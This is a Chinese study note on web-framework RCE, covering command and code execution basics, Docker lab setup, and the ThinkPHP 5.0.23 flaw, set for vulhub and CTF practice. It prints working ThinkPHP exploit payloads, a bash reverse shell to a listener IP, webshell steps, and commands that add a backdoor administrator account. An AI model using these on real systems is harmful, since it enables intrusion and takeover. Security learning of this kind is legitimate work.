框架漏洞RCE-1

一、前提

1、命令执行漏洞:直接调用操作系统命令。攻击者构造恶意命令,将命令拼接到正常的输入中,达到恶意攻击的目的。

(1)、常见命令执行函数

  • PHP:exec、shell_exec、system、passthru、popen、proc_open、反引号等    
  • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
  • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

注:popen()、proc_open()不会直接返回执行结果,而是返回一个文件指针。 <?php popen('whoami>>D:/1.txt','r');?>

(2)、利用条件:

  • 应用调用执行系统命令的函数
  • 将用户输入作为系统命令的参数拼接到了命令行中
  • 没有对用户输入进行过滤或过滤不严

(3)、命令连接符

(4)、windows,linux操作系统命令

windows:cmd窗口帮助命令help

linux:Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)

(5)、靶场练习:CTFHub

ctfhub命令执行WP:https://www.cnblogs.com/R3col/p/12515059.html

(6)补:创建用户并提权

  • 将编码方式改为UTF-8:CHCP 65001
  • 创建用户:net user hack 123456 /add
  • 查看用户:net user
  • 将用户添加到管理员组:net localgroup Administrators hack /add
  • 激活用户:net user hack /active:yes
  • 远程登录:windows系统命令行输入mstsc,linux系统命令行输入rdesktop ip地址

2、代码执行

(1)、相关函数

  • PHP:eval、${}等
  • python:exec等
  • Java:没有直接执行函数,但有表达式引擎。

(2)、与命令执行区别

  • 命令执行:一般执行操作系统命令
  • 代码执行:一般执行脚本代码

3、docker:用于靶场搭建与使用

(1)、概述:快速构建、运行、管理应用的工具

(2)、安装(kali)

apt-get install docker.io   //安装软件包
docker version              //查看是否安装成功apt-get install docker-compose  //安装docker-compose工具
docker-compose version          //查看是否安装成功

(3)、docker常用命令(拿mysql举例)

  • 查看本地所有镜像docker images -a 
    • -a:列出所有镜像
  • 搜索仓库镜像docker search mysql --limit 5
    • --limit 5:列出前5个
  • 拉取镜像到本地:docker pull mysql:5.5
    • 不加版本号,默认拉取最新的
  • 删除镜像:docker rmi mysql:5.5 或 docker rmi -f 镜像id
  • 打包镜像:docker save -o mysql.tar mysql:5.5 或 docker save -o mysql.tar 镜像id
    • 压缩文件可以随意命名
  • 加载打包镜像:docker load -i mysql.tar
  • 创建并运行容器docker run -d --name mysql8 -p 3306:3306 mysql
    • -d:后台运行容器
    • --name:指定容器的名称,不指定随机分配
    • -p:指定映射端口
  • 列出运行的容器docker ps -a
    • -a:列出正在运行和运行过的容器,不加只列出当前正在运行的容器
  • 容器的停止,启动,重启,删除docker stop/start/restart/rm 容器id

(4)、docker-compose: 使用 YAML 文件来配置所有需要运行的 Docker 容器

注:需要在docker-compose.yml 文件同目录下执行,即这个目录下必须有docker-compose.yml文件。或在命令后加上-f参数指定目录所在路径 

  • 创建容器docker-compose up -d
    • -d:后台运行
  • 容器的停止,启动,重启,删除docker-compose stop/start/restart/down
  • 查看容器docker-compose ps -a
    • -a:查看所有容器

4、漏洞通用操作:信息收集确定是哪个框架漏洞,网上搜索该漏洞的历史版本,进行复现。

二、ThinkPHP5.0.23漏洞

1、漏洞产生原因:thinkphp没有对控制器名进行合法性校验,导致在没有开启强制路由的情况下,攻击者可以调用任意类的任意方法,从而导致漏洞产生。

2、特征:显示thinkphp图标或页面显示thinkphp这几个大字

3、工具:Liqun工具箱、thinkphp日志分析等。(尝试多个工具,没有换下一个)

注:可以下载综合利用工具ONE-FOX(https://www.one-fox.cn/)

4、手工测试实验过程:

注:使用工具:hackbar插件

  • 利用RCE,通过phpinfo函数查看phpinfo()信息
  • 写入shell,使用蚁剑连接
  • 尝试反弹shell

5、POC

(1)请求路径:index.php?s=captcha

post data下输入

  • _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  • _method=__construct&filter[]=system&method=get&get[]=pwd

(2)、直接在请求路径下输入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、漏洞利用

(1)、启动靶场

(2)、输入POC

(3)、点击execute,并查看是否成功

(4)、使用蚁剑连接

7、反弹shell(需要URL编码):反弹shell生成器

/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

(1)、将反弹shell代码写入POC中,发送

(2)、反弹shell到的机子开启监听:nc -lvp 9191

8、靶场

安装:git clone https://github.com/vulhub/vulhub.git /home/vulhub

使用:到目录下使用docker-compose

个人认知有限,大家可以提建议或者推荐更好的文章。互相分享,提高自身水平!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/6942.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Go语言在Web开发中有哪些常用框架?

文章目录 1. Gin原因和解决方案示例代码 2. Echo原因和解决方案示例代码 3. Revel原因和解决方案示例代码 4. Buffalo原因和解决方案示例代码 总结 Go语言在Web开发中拥有许多优秀的框架&#xff0c;这些框架帮助开发者快速构建稳定且高效的Web应用。下面是一些常用的Go语言Web…

2024牛客五一集训派对day4 G.Game of Swapping Numbers

题目 思路&#xff1a; 补充证明&#xff1a; 1、当n > 2时&#xff0c;至少有两个区间是ai > bi&#xff08;设为正&#xff09; 或 ai < bi&#xff08;设为逆&#xff09;&#xff1b; 2、当 最优操作执行完后&#xff0c;任意两个区间都有交集&#xff1b; 3、…

拉普拉斯丨独家冠名2024年度ATPV技术分论坛,助力产业科技持续创新

为了进一步促进行业技术交流&#xff0c;推进光伏行业发展及标准建设的进程&#xff0c;针对高效电池&#xff0c;领跑组件&#xff0c;新产品认证及应用等技术专题及国内外光伏标准的最新进程&#xff0c;由中国绿色供应链联盟光伏专委会&#xff08;ECOPV&#xff09;指导的2…

对比试验系列:Faster—RCNN配置及训练自己数据集

一、源码下载 GitHub - bubbliiiing/faster-rcnn-pytorch: 这是一个faster-rcnn的pytorch实现的库&#xff0c;可以利用voc数据集格式的数据进行训练。这是一个faster-rcnn的pytorch实现的库&#xff0c;可以利用voc数据集格式的数据进行训练。. Contribute to bubbliiiing/fa…

JavaScript百炼成仙自学笔记——12

函数七重关之五&#xff08;自执行函数&#xff09; 什么时候用它&#xff1f; 很多时候&#xff0c;我们只想执行一个函数&#xff0c;却无所谓这个函数叫什么名字。那么这种情况下就可以考虑使用自执行函数。 {function(){console.log(123);} }(); 这就是一个简单的自执行的…

Day02-zabbix自定义监控详解

Day02-zabbix自定义监控详解 十、弥补监控死角-自定义监控10.1 概述10.2 自定义监控全流程1&#xff09;客户端a&#xff09;通过命令、脚本取出对应的值b&#xff09;创建键值与重启 2&#xff09;服务端a&#xff09;服务端手动测试b&#xff09; web页面&#xff1a;创建监控…

本地部署eXtplorer文件管理器并安装内网穿透构建私人云存储服务器

文章目录 1. 前言2. eXtplorer网站搭建2.1 eXtplorer下载和安装2.2 eXtplorer网页测试2.3 cpolar的安装和注册 3.本地网页发布3.1.Cpolar云端设置3.2.Cpolar本地设置 4.公网访问测试5.结语 1. 前言 通过互联网传输文件&#xff0c;是互联网最重要的应用之一&#xff0c;无论是…

websevere服务器从零搭建到上线(一)|阻塞、非阻塞、同步、异步

文章目录 数据准备(阻塞和非阻塞)、数据读写(同步和异步)小总结&#xff08;陈硕老师的总结&#xff09; 知识拓展同步执行实例异步编程实例 八股 数据准备(阻塞和非阻塞)、数据读写(同步和异步) 无论是什么样的IO都包含两个阶段&#xff1a;数据准备和数据读写。 我们的网络IO…

1.6 Java全栈开发前端+后端(全栈工程师进阶之路)-前置课程Jdbc编程,使用Java通过Jdbc对数据库进行基础操作

原理图 用java代码实现连接数据库&#xff08;mysql&#xff09;的操作 因为数据库连接需要使用到API和URL&#xff0c;下面简单介绍下API和URL的概念&#xff0c; API&#xff1a; Application Programming Interface应用程序编程接口&#xff0c;就是一套类库 Java中的AP…

KaiwuDB 解析器之语义解析

KaiwuDB 解析器介绍 解析器是数据库系统的重要组成部分之一&#xff0c;主要的功能是将客户端输入的 SQL 语句分解为语法单元&#xff0c;然后将这些语法单元转化成数据库内部可识别的数据结构&#xff0c;最终生成数据库可以执行的计划。 KaiwuDB 的一条 SQL 执行的整个生命…

SQL 基础 | AVG 函数的用法

在SQL中&#xff0c;AVG()是一个聚合函数&#xff0c;用来计算某个列中所有值的平均值。 它通常与GROUP BY子句一起使用&#xff0c;以便对分组后的数据进行平均值计算。 AVG()函数在需要了解数据集中某个数值列的中心趋势时非常有用。 以下是AVG()函数的一些常见用法&#xff…

Java集合排序

1. 集合排序API 1.1 集合排序概述 集合排序是指对一个集合中的元素按照特定规则进行重新排列&#xff0c;以使得集合中的元素按照预定义的顺序呈现。 在集合排序中&#xff0c;通常需要定义一个比较规则&#xff0c;这个比较规则用于决定集合中的元素在排序后的顺序。元素之间…

本地部署开源白板工具Excalidraw并结合内网穿透远程绘制流程图

文章目录 1. 安装Docker2. 使用Docker拉取Excalidraw镜像3. 创建并启动Excalidraw容器4. 本地连接测试5. 公网远程访问本地Excalidraw5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 本文主要介绍如何在Ubuntu系统使用Docker部署开源白板工具Excal…

渗透测试工具--awvs

安装 pull 这个镜像&#xff0c;注&#xff1a;内部映射端口 3443 软件页面 UserName: awvsawvs.lan PassWord: Awvsawvs.lan 或 使用以下命令无脑安装 bash <(curl -sLk https://www.fahai.org/aDisk/Awvs/check.sh) xrsec/awvs:preview 样式如下 若未成功&#xff0…

【网络原理】HTTPS 的工作过程

系列文章目录 【网络通信基础】网络中的常见基本概念 【网络编程】网络编程中的基本概念及Java实现UDP、TCP客户端服务器程序&#xff08;万字博文&#xff09; 【网络原理】UDP协议的报文结构 及 校验和字段的错误检测机制&#xff08;CRC算法、MD5算法&#xff09; 【网络…

面试集中营—Redis架构篇

一、Redis到底是多线程还是单线程 1、redis6.0版本之前的单线程&#xff0c;是指网络请求I/O与数据的读写是由一个线程完成的&#xff1b; 2、redis6.0版本升级成了多线程&#xff0c;指的是在网络请求I/O阶段应用的多线程技术&#xff1b;而键值对的读写还是由单线程完成的。所…

【prometheus】Pushgateway安装和使用

目录 一、Pushgateway概述 1.1 Pushgateway简介 1.2 Pushgateway优点 1.3 pushgateway缺点 二、测试环境 三、安装测试 3.1 pushgateway安装 3.2 prometheus添加pushgateway 3.3 推送指定的数据格式到pushgateway 1.添加单条数据 2.添加复杂数据 3.SDk-prometheus-…

C语言 举例说明循环嵌套

今天 我们来说循环的嵌套 如果一个循环体内 又包含了另一个循环结构 我们称之为循环的嵌套 我们之前学的 While do-while for 都可以进行相互的嵌套 如下图 在 While 循环语句中再嵌套一个 While 循环语句 do-while 中嵌套 do-while for中嵌套 for 例如 我们做一个九九乘法…

Oracle Database 23ai 正式发布,超级巨兽(集关系型、向量、文档、图、缓存、分布式数据库一体的全能数据库)

Oracle23c改名为Oracle23ai&#xff0c;也意味着Oracle数据库正式从Cloud进入AI时代。Oracle23ai版本是一个超级巨兽&#xff0c;简单总结下&#xff1a; AI能力&#xff1a;内置向量数据库&#xff0c;内置ONNX模型数据处理&#xff0c;内置Text2SQL&#xff0c;内置的机器学习…

QT5之lambda+内存回收机制

使用lambda需要 配置c11 所以在点.pro文件里面配置添加如下 CONFIG c11 使用到qDebug 打印包含头文件 #include<QDebug> lambda 表达式使用 代替槽如下 #include "mainwidget.h" #include<QPushButton> #include<QDebug> mainWidget::mainWid…